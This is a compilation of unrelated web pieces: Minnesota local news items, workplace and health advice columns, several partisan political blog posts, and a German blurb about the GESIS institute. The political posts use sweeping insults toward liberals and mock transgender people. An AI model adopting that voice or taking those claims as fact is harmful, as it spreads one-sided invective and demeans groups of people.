New or updated labeling cannot eliminate these risks, so the FDA has proposed the devices be banned to protect public health. The proposal is open for public comment for 30 days.

"Our primary concern is the safety and well-being of the individuals who are exposed to these devices," according to Dr. William Maisel. He is acting director of the Office of Device Evaluation in the FDA's Center for Devices and Radiological Health.

"These devices are dangerous and a risk to public health -- and we believe they should not be used," Maisel said in an FDA news release.

FDA information suggests only one facility in the United States is using these devices -- the Judge Rotenberg Educational Center in Canton, Mass. It's believed the device is currently being used on 45 to 50 patients, according to the news release.

Alternative methods of treating self-injury and aggressive behavior include behavioral therapies, such as positive behavioral support, and medications, according to the FDA.

More information

The National Alliance on Mental Illness has more about self-harm.
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I consider myself lucky being one of those people that love their current job. When I get asked why, it is for pretty simple reasons.

1. I have flexibility between working from home or going to the office, which allows me to never miss an event my children may have. 2. My bosses and co-workers are truly caring people; they have helped me out in numerous ways. 3. When at the office, everything I may need to do my job well is at my fingertips. 4. I have a ton of variety in my job duties and expectations. With all that, what is there not to love about my job?

Loving my job has not always been the case. I have had plenty of jobs that I could not stand (and that is putting it mildly). For instance, in the late '90s, I was a transcriptionist. Now, I will admit my obsession of correct spelling and grammar grew over those years, but I could not sit and type for seven hours each shift without talking.

Another job I was not so fond of? In the early '90s, the Ground Round would have a clown wandering through the restaurant every Sunday entertaining kids. Well, I was that clown, and I felt like I scared more kids than made happy.

Finally, in the early '90s, I was the hostess at Little Caesars when they had an actual sit-down restaurant in Rochester. I really liked my boss, and I loved my co-workers, but what drove me away were the amount of guests in their late teens that paid for their pizza by dumping their piggy banks out on the counter.

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Today, more and more, workers desire to find jobs and employers they love. Simply putting in the hours in order to get a paycheck isn't enough anymore, and it's up to employers to cultivate that love.

It's not earth-shattering news that workers who enjoy their responsibilities, like their work environment and admire their employers are going to perform better.

Bump up compensation

You may not be able to buy love, but employees' salaries and overall compensation packages do impact their feelings toward their employers. This really even goes beyond just engaging employees -- it can be a deal breaker.

Bring equipment up-to-date

Gifts always are a good way to someone's heart, and for many employees, the simple gift of updated software or an upgraded computer may be just the key. According to Inc.com, a survey by PGi, a leading global provider of collaboration software and services, showed almost 20 percent of employees surveyed want better technology from their employers. Old, outdated equipment can leave employees feeling frustrated and undervalued, and that's not good for performance or retention.

Cancel those meetings

Alone time is important in all relationships, and that includes within the workplace. The majority of employees, especially top performers, are sick and tired of attending meeting after meeting.

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Support their personal goals

In order for workers to love and support their employers, they need to feel supported in return. And that support needs to extend past workplace goals and bolster their efforts to meet personal goals as well.

Listen to their suggestions

In order to avoid conflicts and increase retention, companies need to really listen to their workers, implement as many of the requests as possible and make their attempts very visible.

People like being in love, and most employees wish they were in love with their jobs. Nobody likes going to work five days a week and feeling disengaged, unappreciated and passionless. But, by making just a few changes, employers can make it much easier for employees to fall in love with their businesses.

And those changes will be well worth it when businesses then experience the results of the power of love.
Made legendary by the nature writer Aldo Leopold, the sky dance mating ritual of the American Woodcock is described as a sight that everyone should see in their lifetime. Ken Fordahl is your guide at the Houston Nature Center , 215 W. Plum St., Houston, on Saturday night at 7 to see this phenomenon. Check out this video online for a preview: www.youtube.com/watch?v=ta1fxy0MR2c .

 Jeff Pieters, Life editor
FRIDAY, April 22, 2016 (HealthDay News) -- From detergents to prescription medication, many common household items can poison children, an emergency medicine physician warns.

Prescription drugs are one of the main threats, said Dr. Wally Ghurabi, medical director of the Nethercutt Emergency Center at the University of California, Los Angeles Medical Center.

Recently, three middle school students were treated in the ER after taking the anti-anxiety drug Xanax they had found at home, Ghurabi said.

"They spent 12 hours in the emergency department having their stomachs pumped and being monitored for adverse reactions," he said in a medical center news release. "It was serious."

Drugs intended for adults can be toxic to children, he noted.

"A common medication used to treat diabetes can stay in one's system for 96 hours -- up to four days. While its purpose is to lower an adult's blood sugar, in a child it can cause glucose to drop to dangerously low levels -- and to remain there for days," Ghurabi said.

Parents and other adults need to keep prescription drugs and other toxic substances -- including laundry products, drain cleaners and alcohol -- away from children, Ghurabi said.

Most child poisonings occur when parents or caregivers are home but not paying attention, according to the American Academy of Pediatrics. The academy offers these poisoning-prevention tips:

Store medicines, cleaning and laundry products, paints/varnishes and pesticides in their original packaging in locked cabinets or containers, out of sight and reach of youngsters. The cabinets should have safety latches that automatically lock when the doors close.

Remember that while medicine safety caps are child-resistant, they are not fully childproof. Never call medicine "candy" or any other name that might make it appealing to children.

Check the label for dosing instructions every time you give a child medicine. When giving liquid medicines, always use the dosing device that came with the product. Never use a kitchen spoon.

Never store poisonous products in food or drink containers.

Secure remote controls, key fobs, musical greeting cards and books, and other devices that may contain small batteries that can cause injury if swallowed by children.

More information

The U.S. Centers for Disease Control and Prevention offers more poisoning-prevention tips.
Prosecutor in police shooting to enter alcohol program

MINNEAPOLIS  The prosecutor whose office won a recent conviction in the high-profile case of a Minneapolis police officer who killed an unarmed woman says he will be entering a treatment program for alcohol issues.

Hennepin County Attorney Mike Freeman issued a statement Friday saying he was evaluated for alcohol issues and agrees he needs treatment. Hell be entering a program Monday.

Freeman announced last week that he was taking a medical leave, but didnt say why.

His Friday statement says he has also worked to stabilize his "unacceptably high blood pressure." He says hes determined to reclaim his health and hopes to be back to work in mid-June.

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Last month, a jury convicted Mohamed Noor of murder in the 2017 fatal shooting of Justine Ruszczyk Damond, a dual citizen of the U.S. and Australia who called 911 to report a possible crime.

Minnesota seeks to add Purdue Pharma owners to opioid suit

ST. PAUL  Minnesotas attorney general is asking a state court for permission to add the owners of drugmaker Purdue Pharma to a lawsuit that seeks to hold the company responsible for the opioid addiction crisis.

Connecticut-based Purdue Pharma makes OxyContin and has been the subject of legal action in nearly every state.

Attorney General Keith Ellison wants to add eight members of the Sackler family to Minnesotas lawsuit. He says the Sacklers, who own and operate Purdue, were involved in deceptive marketing tactics and strategies to sell more opioids, despite knowing the risks.

If a judge approves, Minnesota would become at least the 11th state to take legal action against one or more members of the Sackler family.

A family spokeswoman issued a statement denying the allegations, calling the lawsuit a misguided attempt to place blame where it doesnt belong.

Man holed up in hotel surrenders to police

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BROOKLYN PARK  Authorities say a standoff at a Brooklyn Park hotel ended after more than six hours when a man suspected of assaulting his girlfriend surrendered to police.

SWAT officers and crisis negotiators were called to the La Quinta Inn early Friday after a woman reported she was being assaulted by her boyfriend and threatened with a gun. Police say the standoff began at 3:30 a.m. and ended when the man was arrested at about 9:50 a.m.

Authorities say the woman was taken to a hospital with minor injuries. Police say the 31-year-old suspect was not carry9ing a gun but it was unclear if there were any weapons in the room.

The suspect, who has not been formally charged, has previous convictions for drug possession, motor vehicle theft, aggravated robbery, making terroristic threats, drunken driving and burglary.

Jail inmate accused of running prostitution ring

MORA  An inmate at the Kanabec County Jail is charged with running a prostitution ring from his cell.

Thirty-eight-year-old Daniel Ellington is charged in Washington County District Court with two counts of sex trafficking and two counts of promotion of prostitution.

Prosecutors say Ellington communicated with a prostitute by text and "promoted and profited" from her activities in Woodbury last month.

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East Metro Sex Trafficking Task Force director Imran Ali says Ellington was 100 miles away and incarcerated, yet was promoting prostitution and profiting from it. The task force began investigating after a Woodbury detective found an online ad entitled "Blonde Bombshell."

The St. Paul Pioneer Press reports Kanabec County Sheriff Brian Smith says Ellington used a jail-issued iPod to text and paid a certain price for each message.

 Associated Press
Jewish hospitality center Chabad Lubavitch holds the Seder Passover meal on Friday and Saturday nights by reservation.

The meals, hosted by Rabbi Dovid and Chanie Greene, are at 8 p.m. both nights. The traditional meals include handmade Shmurah Matzahand, or unleavened flatbread, and plenty of holiday insights and explanations.

Passover runs from April 22-30. It is the commemoration of the Jewish people's liberation by God from slavery in Egypt and their freedom as a nation under the leadership of Moses.

Chabad Lubavitch is at 730 Second St. SW. RSVP online, www.ChabadRochesterMN.com/CommunitySedar , or call 507-288-7500. Admission is $25 for adults, $10 for children.
DRESBACH  Boaters on the Mississippi River around Dresbach and La Crescent are cautioned to stay at least 500 feet away from barges tied up below the old Interstate 90 bridge that is being demolished.

Two new bridges, one for each direction of traffic, are being finished just upriver of the old one, according to the Minnesota Department of Transportation. The demolition contractor is used jackhammers to knock apart concrete that falls into the barges.

Work will continue through the summer.

The new bridges will be done in November. Demolition work will continue into next year.
STEWARTVILLE  A man was arrested for domestic assault, and the victims may face potential theft and burglary charges after the incident.

On Wednesday, a 24-year-old woman and her 29-year-old friend both went to the 700 block of 5th Avenue Southeast in Stewartville the residence belonged to the 24-year-old woman's ex-boyfriend at approximately 10:15 p.m. to collect child support that the former boyfriend owed. However, the man did not answer the door, according to Olmsted County Capt. Scott Behrns.

After no response, the women went into the garage and allegedly stole two laptops and a tool belt as possible payment, according to Behrns.

However, the man noticed the women and came out into the garage, took the car keys away from the women, and went back into his house.

The 24-year-old went after him to retrieve the keys, when the man allegedly turned around and punched the woman in the face.

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The male suspect was arrested for domestic assault and was set on a $1,000 bond. Neither of the women were arrested, however, remain suspects in the burglary and theft.

The Post-Bulletin doesn't identify victims of domestic assault cases.
Rochester's Cooke Park Design District is hosting a public pajama party tonight to celebrate Prince.

Brianna Prudoehl, who owns Fox & Fern Floral at 615 Sixth Ave. NW, decided to host the party this afternoon with her business neighbor, Ben Assef of Northern Sun Productions.

"If Minneapolis can shut down First Avenue in a moment's notice to celebrate Minnesota's finest International export, we can shut down a block of Rochester tonight," she wrote on Facebook.

The plan is to host the party in the "back yard" of the Cooke Park Design District, which is the 600 Block of Sixth Avenue NW. That is the area near downtown where a number of artistic and exotic businesses are located. The Red Ball art exhibit made an appearance there last summer.

The party will start at 8 p.m., about sundown.

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Prudoehl described the party as a project supported by all of the businesses in that area, like Dwell Local and A Beautiful Soul.

Serving pancakes and encouraging people to wear pajamas to the party are both nods to two of Prince's eccentricities. His parties at Paisley Park often included pancakes and PJs.

In the end, Prudoehl said the spontaneous event is about giving Rochester's Prince fans an opportunity to remember him and celebrate his life by enjoying his music.

"Like a lot of people, we were really bummed we couldn't go to the Cities to dance and celebrate his life, so we decided to do this here," Prudoehl said.

The early reaction shows that Med City music fans like the idea. Many people are already saying on social media that they will attend.

Prince's death raises questions about prior health
WINONA  Minnesota State College - Southeast Technical announced this week that its Practical Nursing program received accreditation from the Accreditation Commission for Education in Nursing (ACEN).

ACEN formally notified SE Tech at the end of March of the accreditation, which is awarded for a five-year period.

"This accreditation is a tremendous accomplishment for the college and an important benefit for our current and future Practical Nursing students," said Dr. Dorothy Duran, president of Southeast Technical.

The college is holding a celebration at both of its campuses. The first open house will be 2 to 4 p.m Monday at the Red Wing campus in the main lobby at 308 Pioneer Road. The second open house will be 2 to 4 p.m. Tuesday at its Winona campus in the main lobby at 1250 Homer Road.

The celebrations will offer opportunities to meet and mingle with college students, faculty and staff to learn more about the practical nursing program and tour campus labs and simulation centers. Refreshments will be provided.

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SE Tech is also accredited through the Higher Learning Commission. The nursing programs are also approved by the Minnesota Board of Nursing.

"Practical Nursing at Southeast Technical is a 36-credit diploma designed to provide students with the knowledge and skills necessary to provide direct nursing care to patients in hospitals, nursing homes, clinics, home and community-based settings," according to a news release from SE Tech.
Minnesota State College-Southeast Technical has been awarded a grant from the Minnesota Department of Employment and Economic Development to train 194 long-term care employees.

The $260,000 grant was made possible the Minnesota Job Skills Partnership.

Southeast Technical will work with Tweeten Lutheran Healthcare Center in Spring Grove and Harmony Community Healthcare in Harmony to create a long-term care certification program. The two-year program will fund training of 194 employees at the facilities. It is expected that 42 employees will be hired during that period.

"This grant is expected to improve the skills of long-term health employees and help both facilities retain staff," said DEED Commissioner Katie Clark Sieben.
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A 17-year-old Rochester boy was assaulted and robbed early this morning.

The incident occurred about 1:30 a.m. near First Avenue and 11th Street Northeast near a dead end. The victim was walking there to look for a vehicle he'd been driving earlier that had broke down, said Rochester Police Capt. John Sherwin.

After discovering that the vehicle was towed, the boy called for a ride and waited. However, two men allegedly approached the boy, assaulted him, stole his wallet and ran away on foot. The victim could not give a description due to darkness.

The victim sustained facial fractures and was taken to the Olmsted Medical Center at about 2:30 a.m., where law enforcement met with him and his mother. The victim is expected to need surgeries.
A Rochester developer has proposed to build an apartment building at Third Street Southwest and 17th Avenue, one of the first residential developments in uptown Rochester since public space improvements added character to the neighborhood in 2014 .

Michael Busch is behind the proposal for a three-story, 29-unit, one- and two-bedroom apartment building. The development is, as yet, unnamed. Ownership is through a limited liability corporation, 1709 Third.

The developer has already met with neighbors in the area to show design renderings and floor plans. Wade Goodenberger, an architect with CRW Architecture, presented those plans in a public meeting Thursday at the Committee on Urban Design and Environment.

Goodenberger noted the public space improvements in the Second Street Southwest and uptown area and the developer's plan to match the aesthetic of those improvements.

"We wanted to create a contemporary feeling building to go along with those changes and what we felt was the general feel of what this area wanted to become," Goodenberger said.

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The building exterior is gray fiber cement paneling, accented with blue fiber cement paneling and wood composite paneling set around the recessed balconies. The design is contemporary, Goodenberger said, with clean, geometric lines, muted colors and "splashes" of architectural and material features.

Apartments would be split between 11 one-bedroom units and 18 two-bedroom units at market rates. Off-street parking is provided with 31 underground spaces and eight additional spaces above-ground. The building is around 28,000 square feet.

As one of the nearest and newest residential developments to Mayo Clinic Hospital St. Marys Campus, it is expected many hospital employees will seek out apartments in the uptown development, Goodenberger said.

The committee's reaction to the project was, at first, focused on the development's aesthetic characteristics.

"To me, it looks in the end like a very gloomy, kind of like bulky project," said committee member Barry Skolnick. "I wish it had, frankly, a little more splash to it, if you want to call it that.  That's my opinion of that, and I know other people may differ, but that's my opinion."

Committee member Marilyn Hansmann asked for extensive landscaping to be added to the project. The developer's planned landscaping was not shown on the architectural renderings.

"This begs to be softened with as much landscaping as you can put around this to make it less like a Soviet-era apartment  because it is very square and very gray," Hansmann said.

Committee Chairwoman Jesse Welsh asked that the developer consider relocating the above-ground parking spaces and make the main entrance to the building more apparent from the street.

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The developer could also consider renewable energy and solar panels, committee member Barbara Hudson said.

Goodenberger said he would take the parking, entrances and energy efficiency comments under consideration. On the architecture, Goodenberger was more firm.

"I have total confidence this project is going to look really nice, really neat and be very popular when it's built," he said.

The project has been submitted to the city of Rochester as a restricted development and will appear soon at a City Planning and Zoning Commission meeting. The developer could have the city's approval for the project by mid-July at earliest.
We belong to the Minnesota Campus Compact  a coalition comprised of presidents and chancellors organized to promote the public purposes of higher education. Minnesota Campus Compact is part of a national network now celebrating its 30th anniversary.

Nearly 400 presidents and chancellors signed a new action statement to recommit and recapture the public narrative about the role of higher education in civic engagement, democracy and citizenship.

In January, 28 Minnesota presidents and chancellors gathered and prepared a companion Minnesota statement reflecting themes of Campus Compact's 30th Anniversary Action Statement. This was a first step toward deepening our community engagement efforts; in the months ahead, Minnesota Campus Compact will develop and implement plans that advance our stated commitments.

Meanwhile, we would like to share with you our reflections and portions of the Minnesota statement below.

We were immediately impressed by the shared sense of purpose despite our colleagues being leaders at very different types of postsecondary institutions.

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The Minnesota statement begins noting: "We may represent a diverse array of higher education institutions, but we agree: There is more we must do to live out our democratic purpose. Our institutional missions commit  in distinctive ways  to teaching, research and institutional partnerships that promote a strong democracy, vital economy and healthy, just, sustainable communities. Our results do not yet match our rhetoric."

We also shared a sense of entrapment in a dialogue that pits workforce skills against broader student development.

The statement continues: "Debates about workforce development versus liberal education present a false choice. Employees, entrepreneurs, citizens, immigrants, leaders and neighbors require many of the same skills. We must all be able to communicate effectively, think critically, organize and collaborate across differences (religious, racial, economic and more), continue learning and take responsibility for solving problems. An education that advances these skills will prepare people for professional, community and civic life."

We recognize that our communities are critical in co-educating our students for professional and community life, but we also recognize our responsibility to contribute to the livelihood of our communities.

As a statewide group, we agreed: "To develop and practice these skills, we are committed to integrating community engagement throughout our institutions' identity and operations. Just as we know our students can contribute to the public good through work in any role and sector, we believe everyone working in higher education can contribute to deeper engagement and impact."

Our leadership colleagues also recognize our biggest challenge in developing the human potential in our state. We are both part of the problem but also represent part of the solution.

The statement continues: "Minnesotans from all backgrounds consider higher education a crucial path to opportunity; there is no educational aspiration gap. So why does our state have some of the nation's highest disparities by race and income? Financial accessibility certainly matters. We must address our own cost structures while also developing partnerships to prevent food insecurity, unreliable transportation, and other basic challenges from derailing an education.

"Money is not the whole story, though. We must address cultural barriers, listening to our students so we can adapt to them, not the other way around. We need to build more trusting and equitable relationships, grounded in a sense that all of us are members of communities, with more to learn, knowledge or wisdom to share and power to create positive change.

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"As positional leaders, we also need to be braver in calling out systemic inequities and implicit biases within our institutions. Only then will we support the full participation and success of our students."

Our colleagues also are dismayed with the depth and tone of today's rhetoric about many societal issues. We too as education leaders must take some responsibility for failing to develop the civic and analytical skills that undergird a constructive debate.

The Minnesota statement concludes with: "In today's world, it can be easy to get overwhelmed by polarization, inequality, and violence, and to lose a sense of agency and responsibility for creating positive change. Sometimes silos and hierarchies also inhibit a sense of common purpose, both within and among colleges and universities. We hereby commit to modeling our civic commitments in part by fostering critical dialogue, responding constructively when challenged, and actively supporting possibilities for improvement and innovation."

The public narrative around higher education today is shaped by many issues and topics, and unfortunately, many distract us from our public and democratic purpose.

We want our communities to know that as leaders of two of your higher education institutions, we recognize our public purpose, one that is also shared by many of our Minnesota colleagues and well-articulated in the Minnesota statement. This public purpose shapes our expectations for our institutions, and hopefully, will shape your expectations of us.

Stephen Lehmkuhle is chancellor of University of Minnesota-Rochester, and Scott Olson is president of Winona State University.
In the City for Good is a citizen's organization that grew from the city's faith communities' In the Shadow of Growth Forums. Sustainability is one of the eight crucial areas we identified as priorities for citizen advocacy. To that end, we are working to bring attention to three core issues: energy, food and waste.

The Sustainability Acton Group organizes our action around the "culture of sustainability" envisioned in Destination Medical Center's Sustainability Plan. We also support Rochester Mayor Ardell Brede's ambitious and visionary call for Rochester to be powered by 100 percent renewable energy by 2031.

Med City is an international health destination. As the Minnesota health community has recently stated, climate change has serious health consequences: from extreme weather to increased infectious disease and lower air quality.

Rochester should use our unique opportunity to set an example of development that cares for our visitors and neighbors by reducing our carbon footprint and pollution.

Morally and economically, sustainability just makes sense. By requiring energy-efficiency measures and encouraging renewable energy development, we'll not just reduce the negative health impacts on our neighbors, but prepare Rochester to be sustainable for years to come.

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James Rentz

Rochester
One of the most sinister developments of our time is the Lefts use of both criminal investigation and mob harassment to suppress dissent. An outrageous instance of this trend is the effort by 20 Democratic state Attorneys General to investigate ExxonMobil and others for criminal fraud, i.e., carrying out research that doesnt support the hysterical exaggerations of the Climatistas.

One of the leaders of this attempt to suppress scientific debate is Californias Attorney General, Kamala Harris. She has initiated a purported investigation into whether Exxon Mobil Corp. repeatedly lied to the public and its shareholders about the risk to its business from climate change  and whether such actions could amount to securities fraud and violations of environmental laws.

Kamala Harris is running for the Senate. As part of her campaign, she has sought press coverage of her attacks on dark money, i.e., money the Democrats dont control. Harris has demanded that conservative 501(c)(3) organizations file their federal IRS Form 990s, including Schedule B, which identifies donors, with her office. Her obvious intent was either to publicize the names of donors, which are confidential under federal law, so that they could be threatened by liberals, or else to shut them up herself through bogus investigations.

Americans For Prosperity brought an action in federal court, seeking an injunction barring Harris from seeking Schedule B to its Form 990. Today, following a full trial on the merits, Federal Judge Manuel Real granted AFPs motion and issued a permanent injunction against the Attorney General. Judge Reals opinion deserves to be read in its entirety; here it is:

2016-04-21 Order for Judgment [Dckt 184_0]

The court found that AFPs donors had a reasonable apprehension of physical violence if their identities were released to liberals:

During the course of trial, the Court heard ample evidence establishing that AFP, its employees, supporters and donors face public threats, harassment, intimidation, and retaliation once their support for and affiliation with the organization becomes publicly known. For example, Lucas Hilgemann, Chief Executive Officer of AFP, testified that in 2013, the security staff of AFP alerted him that a technology contractor working inside AFP headquarters posted online that he was inside the belly of the beast and that he could easily walk into Mr. Hilgemanns office and slit his throat. (Hilgemann Test. 2/23/16 Vol. I, p. 57:214). That individual was also found in AFPs parking garage, taking pictures of employees license places. (Id. at 57:1523). Another witness and major donor, Art Pope, testified about an AFP event in Washington D.C. in 2011. Mr. Pope testified that after protestors attempted to enter the building and disrupt the event, they began to push and shove AFP guests to keep them inside of the building. (Pope Test. 2/24/16 Vol. II, p. 47:715). Mr. Pope attempted to help a woman in a wheelchair exit the building; however the protestors had blocked their path. (Pope Test. 2/25/16 Vol. I, p. 21:2022:12). Once they finally exited the building, they still had to go through a hostile crowd that was shouting, yelling and pushing. (Id. at 22:2223:2). At another event in Wisconsin, after speaking to a crowd of AFP supporters, Mr. Hilgemann was threatened by a protestor who used multiple slurs and spit in Mr. Hilgemanns face. (Hilgemann Test. 2/23/16 Vol. I, p. 48:1249:15). Again, at another event in Michigan where an AFP tent was set up, several hundred protestors surrounded the tent and used knives and box-cutters to cut at the ropes of tent, eventually causing the large tent to collapse with AFP supporters still inside. (Id. at 50:1651:25). The Court also heard from Mark Holden, General Counsel for Koch Industries, who testified that Charles and David Koch, two of AFPs most high-profile associates, have faced threats, attacks, and harassment, including death threats. (Holden Test. 2/23/16 Vol. II, p. 30:1735:13). Not only have these threats been made to the Koch brothers because of their ties with AFP, but death threats have also been made against their families, including their grandchildren. (Id. at 31:310). Mr. Pope has faced similar death threats due to his affiliation with AFP and has even encountered boycotts of his nationwide stores, Variety Wholesalers. (Pope Test. 2/24/16 Vol. II, p. 22:815, 29:517). In December 2013, about 130 protestors picketed in front of his stores, in part, because of his affiliation with AFP. (Id. 32:2433:2). As a result of these boycotts, threats, and exposure, Mr. Pope testified that he considered stopping funding or providing support to AFP . (Id. at 50:13). The Court can keep listing all the examples of threats and harassment presented at trial; however, in light of these threats, protests, boycotts, reprisals, and harassment directed at those individuals publicly associated with AFP, the Court finds that AFP supporters have been subjected to abuses that warrant relief on an as-applied challenge. And although the Attorney General correctly points out that such abuses are not as violent or pervasive as those encountered in NAACP v. Alabama or other cases from that era, this Court is not prepared to wait until an AFP opponent carries out one of the numerous death threats made against its members.

Death threats from liberals are, unfortunately, part of todays political landscape. The court rejected Kamala Harriss crocodile-smile assurance that her office would keep the names and addresses of AFP donors confidential:

A final argument to consider by the Attorney General is that its office is only seeking disclosure of AFPs Schedule B for nonpublic use and therefore there is no potential for public targeting of private donors; however, the Attorney Generals inability to keep confidential Schedule Bs private is of serious concern. In its previous order remanding this case, the Ninth Circuit found that plaintiffs [] have raised serious questions as to whether the Attorney Generals current policy actually prevents public disclosure. Americans for Prosperity Found., 809 F.3d at 542. As made abundantly clear during trial, the Attorney General has systematically failed to maintain the confidentiality of Schedule B forms.

The federal courts permanent injunction against Californias Attorney General is a strong rebuke, but it is just one battle in a long war. The Democrats will be undeterred. They realize that they dont do well in debate, so they want to win arguments the Leninist way: by jailing, or using mobs to harass, those who disagree with them. The fight for free speech will go on as long as liberals think they may be able to shut it down.

I suppose it is too late to point out that Republican presidential primary voters should choose a candidate who will actually win, thereby preventing Hillary Clinton from appointing federal judges who will do away with the First Amendment, along with the Second. Those pesky Constitutional provisions are so inconvenient for Democrats!
In Europe, that is. CNN, covering President Obamas trip to the U.K., tweeted a little while ago:

Obama: "We consider it a major national security issue that you have uncontrolled migration into Europe."  CNN Breaking News (@cnnbrk) April 22, 2016

Huh. The same principle apparently doesnt apply here. Maybe someone should tell him about the news story that Scott linked to this morning:

One of the American men accused in Minnesota of trying to join the Islamic State group wanted to open up routes from Syria to the U.S. through Mexico, prosecutors said. Gules Ali Omar told the ISIS members about the route so that it could be used to send members to America to carry out terrorist attacks, prosecutors alleged in a document filed this week.

Millions of Americans have been trying to tell Obama and Congress for some years now that uncontrolled migration into the U.S. is a major national security issue. Funny how the same standard doesnt seem to apply here.
Omri Ceren writes from The Israel Project with the latest development in our partnership with the Islamic Republic of Iran. Omri writes:

Heavy water is a relatively rare form of water that is used to produce weapons-grade plutonium. The nuclear deal forbids Iran from stockpiling more than 130 tonnes of heavy water at any given time.

But the Iranians have been overproducing. In February they violated the nuclear deal by going over the 130 ton cap, and they had to ship out their excess material to get back into compliance [a][b]. Instead of halting heavy water production in the aftermath of the violation, they continued producing and now may be in danger of violating the deal again.

So  per the Wall Street Journal this morning  the Obama administration will buy the heavy water from Iran in order to safeguard its landmark nuclear agreement. The Iranians will be saved from their own overproduction causing them to violate the deal. Some things to look out for:

1) The purchase will almost certainly involve dollars, and therefore indirect access to the U.S. financial system. The administration is refusing to clarify that:

U.S. law still bans Iran from entering the American financial system or conducting business in dollars. The Obama administration is deliberating ways to help Iran conduct dollarized trade without allowing it to directly access the U.S. system, according to U.S. officials. U.S. officials wouldnt specify how the Department of Energy would pay Iran for the heavy water.

2) The money will almost certainly be taxpayer money, and it may be going to fund terrorism. Congress is trying to get answers on those questions from the administration:

The chairman of the House Foreign Relations Committee, Rep. Ed Royce (R., Calif.), wrote Mr. Moniz on April 18 to seek clarity on the terms of the deal. He specifically asked how the U.S. would pay for the heavy water and what guarantees the administration had that the funds wouldnt be used by Tehran to fund its military or terrorist groups.

3) The Obama administration will be keeping alive a part of Irans nuclear program that can be turned around and used for producing nuclear weapons:

Some nuclear experts said the U.S. move comes close to subsidizing Irans nuclear program in a bid to keep the agreement alive. They said Tehrans production of heavy water will remain a concern, especially when the constraints on its nuclear program are lifted after 10 to 15 years as part of the agreement. We shouldnt be paying them for something they shouldnt be producing in the first place, said David Albright, head of the Institute for Science and International Security, a Washington think tank.

4) The administrations broader goal for the sale is to mainstream Irans nuclear program and encourage other countries to begin relying on Iran for nuclear materials. Thats not extrapolation. Its their actual spin, which is already appearing elsewhere this morning in sympathetic articles: that thanks to this purchase, Irans nuclear program will no longer be an international pariah and other countries will begin purchasing nuclear material from Iran [c]. Those countries will potentially be beyond future U.S. pressure, should a future administration want to limit Irans heavy water production:

The U.S. hopes its initial purchase will give other countries the confidence to purchase Irans heavy water in the coming years U.S. Energy Secretary Ernest Moniz said That will be a statement to the world: You want to buy heavy water from Iran, you can buy heavy water from Iran. Its been done. Even the United States did it.'

[a] https://www.iaea.org/sites/default/files/gov-2016-8-derestricted.pdf

[b] http://www.reuters.com/article/us-iran-nuclear-idUSKCN0VZ2D1

[c] http://www.sciencemag.org/news/2016/04/us-goes-shopping-iran-s-nuclear-bazaar-will-buy-heavy-water-science
Ammo Grrrll meditates on LIFE 4 DUMMIES. She writes:

On my most recent trip from Arizona to Minnesota, circumstances were such that I had to beg a ride to the airport from our friend and neighbor, the Paranoid Texan. He graciously accommodated me, but he also had a previous time commitment. This meant that I had to go to the airport three hours before my flight. Which was fine with me. I love airports. Its just flying I hate.

So I sat happily eating oatmeal and drinking coffee at the Paradise Cafe and watching the infinite variety of humanity parade by, cellphones in hand. The Paradise Cafe in Terminal 3 is right below the escalator and every few SECONDS  I do not exaggerate for comedic effect  the following message was intoned by a womans voice with a vaguely British accent: The escalator is ending. Please watch your step. People tend to obey a British voice, which we perceive as both polite and smart, as opposed to a Southern voice which we have been encouraged by bigots to think of as dumb.

Youre never going to hear: Hey, yall, git off this here movin stair thingy. Dadgummit! I mean now!

I am amazed that the employees of the Paradise, who have to listen to this message hundreds of times an hour, do not snap and record a prank message: As any blithering idiot can see, the escalator is ending. Stop texting and get off now or you will fall in a big fat heap.

I could take it for only half an hour and then had to flee the message to the relative peace of my gate personnel making sporadic boarding announcements. But it gave me a chance to think about just how thoroughly the Nanny State invades every aspect of our lives, how infantilized we have become as a nation of once-proud, independent adults.

The coffee cup in my hand warned me that my coffee was hot, even though that was no longer true. If I spoke only Spanish, it was kind enough to remind me it was caliente. Why they failed to warn me that it was also wet I cannot say. Its only a matter of time. If I poured it into my empty cereal bowl and plunged my face into it, I could drown. If I ripped the cup into tiny pieces, it would theoretically be possible to sustain a paper cut which could get infected. Danger, Will Robinson!!

When I got on the plane, I was instructed how to fasten  and unfasten  my seat belt. Since it had been several hours since my car ride to the airport  the Paranoid Texan will not even pull out of the driveway until everyone in the car is buckled in, no exceptions  I was clearly in need of a seat belt mastery refresher course.

The trigger warnings, the safe spaces, the plush toys, the Play-Doh. Biting your bologna sandwich into the shape of a gun will get you suspended from school. Monkey bars on the playground, tag, dodge-ball are all dangerous relics of the Olden Days before children wore helmets to skip.

Young men of my fathers generation, the same age as todays wretched college crybullies, were storming the beaches of Normandy and Anzio, being strafed by machine gun fire from real triggers. An uncle I never met, my fathers older brother, perished in the Pacific. His picture in his dress Marine uniform graced Grandmas upright piano til the day she died.

I would love to thank him, of course, for giving his life for liberty and country. But I would be embarrassed to show him a piece of chalk and explain that pitiful muscle-free men the age he was when he died, now cower in fear from a graffito which mentions a political candidate they apparently dont care for. Or tell him that the latest cause which has them wrapped around the axle is the right for men to potty in the ladies room if they are feeling girlish that day. Are they confined in mental hospitals, he might ask? No, Uncle Leland. See, they are the victims, demanding the safe space that eluded you that day in the sky when everyone returned from the sortie but you.

They are parasites who live off your ultimate sacrifice. They have accomplished nothing and probably never will. Even their oppression is second- or third-hand at best. Two or three generations ago, black people and their allies braved fire hoses, vicious dogs and worse to win basic civil rights. This current crop of cretins and thugs of every color frequently have to write hate mail to themselves or fashion swastikas from their own poop. Which, come to think of it, expresses their ideology perfectly. Rest in peace, Uncle. Semper Fi.
Social Science und GESIS sind untrennbar miteinander verbunden, denn bei GESIS handelt es sich um das Leibniz-Institut fur Sozialwissenschaften. Aufgrund der internationalen Ausrichtung der Einrichtung kommuniziert diese trotz ihres Sitzes in Mannheim sowie der Auenstelle in Koln vornehmlich in englischer Sprache. Folglich sind die Social Sciences das vorherrschende Thema, mit dem sich dieses Institut der renommierten Leibniz-Gemeinschaft befasst.

Das in Mannheim und Koln ansassige GESIS  Leibniz-Institut fur Sozialwissenschaften gilt als grote infrastrukturelle Einrichtung fur die Sozialwissenschaften in ganz Deutschland. Dass es sich dabei um eine wichtige Institution handelt, steht auer Frage. All diejenigen, die mit den Social Sciences zu tun haben, finden hier weitere Informationen uber GESIS.

GESIS  Leibniz-Institut fur Sozialwissenschaften

